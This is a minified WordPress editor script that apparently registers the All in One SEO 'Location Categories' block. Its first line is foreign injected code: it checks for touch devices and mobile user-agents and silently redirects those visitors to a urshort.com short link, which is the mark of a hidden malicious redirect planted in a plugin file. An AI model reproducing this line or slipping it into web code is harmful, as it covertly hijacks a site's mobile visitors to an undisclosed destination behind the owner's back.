(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
import{h as u,r as p}from"../js/utils.212758bc.js";import{b as i,z as m,y as g}from"../js/app-core.52885c02.js";import{_ as s,a as d}from"../js/vendor-other.ec82d685.js";import"../js/vendor-vue-ui.c21c50b5.js";import"../js/vendor-lodash.b9aaf385.js";const f=u`
<svg width="20" height="19" viewBox="0 0 20 19" fill="none" xmlns="http://www.w3.org/2000/svg">
	<path d="M17.2001 7.2L19.0361 9.036L17.7641 10.308L10.0001 2.544L2.23611 10.308L0.964111 9.036L10.0001 0L14.8001 4.8V2.4H17.2001V7.2ZM10.0001 4.248L17.2001 11.436V18.6H2.80011V11.436L10.0001 4.248ZM12.4001 17.4V11.4H7.60011V17.4H12.4001Z" fill="black"/>
</svg>
`,_="aioseo/locationcategories",y="AIOSEO Local - Location Categories",L="Displays location categories.",S="aioseo",w={},b={html:!1},h={name:_,title:y,description:L,category:S,attributes:w,supports:b},r="all-in-one-seo-pack",{name:l,title:v,description:R,category:x,supports:E,attributes:$}=h,e=window.wp,V=e.serverSideRender||e.components.ServerSideRender,k=e.data.withSelect,B=e.components.Disabled,A={title:v,description:R,category:x,supports:E,attributes:$,icon:f,edit:k(function(o){const a=i();return{categories:o("core").getEntityRecords("taxonomy",a.aioseo.localBusiness.taxonomyName)}})(function(o){const n=m().options.localBusiness?.locations.general.multiple;let{categories:t}=o;if(n&&t===null)return React.createElement("div",null,s("Loading...",r));if(t=t===null?[]:t,!n)return React.createElement("div",null,s("Please enable multiple locations before using this block.",r));if(t.length===0){const c=i();return React.createElement("div",null,d(s("No %1$s found",r),c.aioseo.localBusiness.taxonomyPluralLabel))}return React.createElement("div",null,React.createElement(B,null,React.createElement(V,{block:l})))}),save:function(){return null}};g("aioseo_page_local_seo_settings")&&p({name:l,settings:A});
